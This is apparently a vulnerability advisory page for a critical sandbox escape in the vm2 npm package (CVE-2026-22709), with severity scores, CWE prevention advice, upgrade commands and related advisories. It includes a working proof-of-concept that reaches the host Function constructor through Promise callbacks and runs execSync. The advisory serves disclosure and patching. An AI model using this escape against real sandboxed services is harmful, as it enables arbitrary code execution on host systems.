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GHSA-99p7-6v5w-7xg8 CVE-2026-22709

vm2 has a Sandbox Escape

Critical npm
Severity
9.8 / 10
Critical · CVSS 3.1
Exploit chance (EPSS)
1.27%
Chance of exploitation in the next 30 days. Higher than 69.81% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-693 Protection Mechanism Failure
CWE-913 Improper Control of Dynamically-Managed Code Resources
CWE-94 Improper Control of Generation of Code ('Code Injection')
Fix
3.10.2
Upgrade vm2 to this version or later

Description

In vm2 for version 3.10.0, Promise.prototype.then Promise.prototype.catch callback sanitization can be bypassed. This allows attackers to escape the sandbox and run arbitrary code.

const { VM } = require("vm2");

const code = `
const error = new Error();
error.name = Symbol();
const f = async () => error.stack;
const promise = f();
promise.catch(e => {
    const Error = e.constructor;
    const Function = Error.constructor;
    const f = new Function(
        "process.mainModule.require('child_process').execSync('echo HELLO WORLD!', { stdio: 'inherit' })"
    );
    f();
});
`;

new VM().run(code);

In lib/setup-sandbox.js, the callback function of localPromise.prototype.then is sanitized, but globalPromise.prototype.then is not sanitized. The return value of async functions is globalPromise object.

Affected versions

npm

PackageVulnerableFixed in
vm2
< 3.10.2
3.10.2

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

vm2 npm → 3.10.2

npm
npm install vm2@3.10.2
yarn
yarn add vm2@3.10.2
pnpm
pnpm add vm2@3.10.2

Severity breakdown

CVSS 3.1 9.8

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

Weakness

CWE-693: Protection Mechanism Failure

The product does not use or incorrectly uses a protection mechanism that provides sufficient defense against directed attacks against the product.

CWE-913: Improper Control of Dynamically-Managed Code Resources

The product does not properly restrict reading from or writing to dynamically-managed code resources such as variables, objects, classes, attributes, functions, or executable instructions or statements.

How to prevent it
  • Implementation: For any externally-influenced input, check the input against an allowlist of acceptable values.
  • Implementation, Architecture and Design: Refactor the code so that it does not need to be dynamically managed.

CWE-94: Improper Control of Generation of Code ('Code Injection')

The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.

How to prevent it
  • Architecture and Design: Refactor your program so that you do not have to dynamically generate code.
  • Architecture and Design: Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which code can be executed by your product. Examples include the Unix chroot jail and AppArmor. In general, managed code may provide some protection. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.
  • Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. To reduce the likelihood of code injection, use stringent allowlists that limit which constructs are allowed. If you are dynamically constructing code that invokes a function, then verifying that the input is alphanumeric might be insufficient. An attacker might still be able to reference a dangerous function that you did not intend to allow, such as system(), exec(), or exit().
  • Testing: Use dynamic tools and techniques that interact with the product using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The product's operation may slow down, but it should not become unstable, crash, or generate incorrect results.
  • Operation: Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
  • Operation: Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
  • Implementation: For Python programs, it is frequently encouraged to use the ast.literal_eval() function instead of eval, since it is intentionally designed to avoid executing code. However, an adversary could still cause excessive memory or stack consumption via deeply nested structures [REF-1372], so the python documentation discourages use of ast.literal_eval() on untrusted data [REF-1373].

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-489w-w794-jq94
vm2: NodeVM zlib Buffers expose pooled host memory across the VM boundary
High Also affects vm2
GHSA-2v2p-6j97-cjg9
vm2: Host Promise rejection from an exposed constructor can terminate the vm2 host process
Medium Also affects vm2
GHSA-5h3f-q97h-ccvc
vm2: NodeVM custom resolution bypasses external path boundaries
Critical Also affects vm2
GHSA-pq68-rvw4-xp4r
vm2 contains a sandbox escape vulnerability
Critical Also affects vm2
GHSA-f8gf-w286-fmq2
vm2: `allowAsync: false` can be bypassed through Promise thenable assimilation in VM and NodeVM
High Also affects vm2
GHSA-6rh5-qq4q-97xh
vm2: NodeVM builtin denylist bypass via fs/promises despite -fs, allowing host filesystem writes
High Also affects vm2
GHSA-8686-vhfx-7r3j
vm2: NodeVM node:-prefixed negative builtin deny bypass exposes child_process
Critical Also affects vm2
GHSA-wjwh-qqvp-g4p4
vm2 sandbox escape via WebAssembly.compileStreaming Promise species bypass
Critical Also affects vm2
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